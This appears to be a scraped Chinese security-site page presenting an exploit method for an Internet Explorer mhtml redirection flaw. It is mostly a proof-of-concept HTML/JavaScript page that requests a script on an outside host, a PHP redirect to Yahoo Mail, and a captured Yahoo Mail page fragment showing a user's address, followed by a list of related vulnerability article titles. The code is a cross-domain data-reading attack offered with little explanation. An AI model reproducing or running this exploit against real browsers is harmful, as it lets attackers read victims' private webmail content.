[推荐]IE mhtml redirection漏洞利用方法| <html> <head> <script language="JavaScript"> // Start XML HTTP Request Object var request = InitXMLHttpRequest(); function StartTest() { document.getElementById("result").innerHTML = "init ok<br />"; document.getElementById("result").innerHTML += "begain open<br /> "; // Open/ request.open('GET', 'http://www.icylife.net/valu1.php', true); document.getElementById("result").innerHTML += "begain send<br /> "; request.onreadystatechange = WhenDone; // Make the request request.send(); } // Function for Initialising the XMLHttpRequest function InitXMLHttpRequest() { var request; try { request = new XMLHttpRequest(); } catch (trymicrosoft) { try { request = new ActiveXObject("Msxml2.XMLHTTP"); } catch (othermicrosoft) { try { request = new ActiveXObject("Microsoft.XMLHTTP"); } catch (failed) { request = false; } } } // Initialised? if ( !request ) { alert("Due to limitations of your browser you will not be able to use this page."); } else { return request; } } function WhenDone( ) { if ( request.readyState == 4 ) { document.getElementById("result").innerHTML = request.responseText; } } </script> </head> <body> <b>Start the test:</b><br> <div id="start"><a href="javascript:StartTest();"><font color="#000000">Test Now</font></a></div> <br /> <div id="result"></div> </body> </html> |
| <?php header("Location: http://mail.yahoo.com.cn/"); ?> |
| <html> <head><META HTTP-EQUIV="content-type" CONTENT="text/html; charset=gb2312"> <title> Yahoo!电邮 - wustyunshu@yahoo.com.cn</title> <script type="text/javascript"> <!-- if(typeof top.frames["wmailmain"] != "undefined") window.open("http://mail.yahoo.com", "_top"); // --> </script> <noscript> <META HTTP-EQUIV=Refresh CONTENT="0; URL=/ym/login?nojs=1"> </noscript> |
| PPPOE验证缺陷所带来的危害 | 03-21 | |
| Ce-Admin新闻发布系统漏洞分析 | 02-07 | |
| Discuz漏洞分析 | 11-28 | |
| 入侵检测PHP程序中的目录遍历漏洞 | 10-12 | |
| 主流入侵检测产品大比较 | 10-03 | |
| 一种新的带宽攻击方式(图) | 06-16 | |
| Javascript实现评估用户输入密码 | 05-30 | |
| 针锋相对：主要的反NIDS技术应用 | 05-22 | |
| dvbbs7.1sp1最新漏洞的研究和利用 | 05-13 | |
| IE mhtml redirection漏洞利用方 | 05-12 | |
| Php后门的隐藏技巧测试报告 | 05-11 | |
| McAfee IntruShield 2600入侵防护 | 05-09 | |
您现在的位置：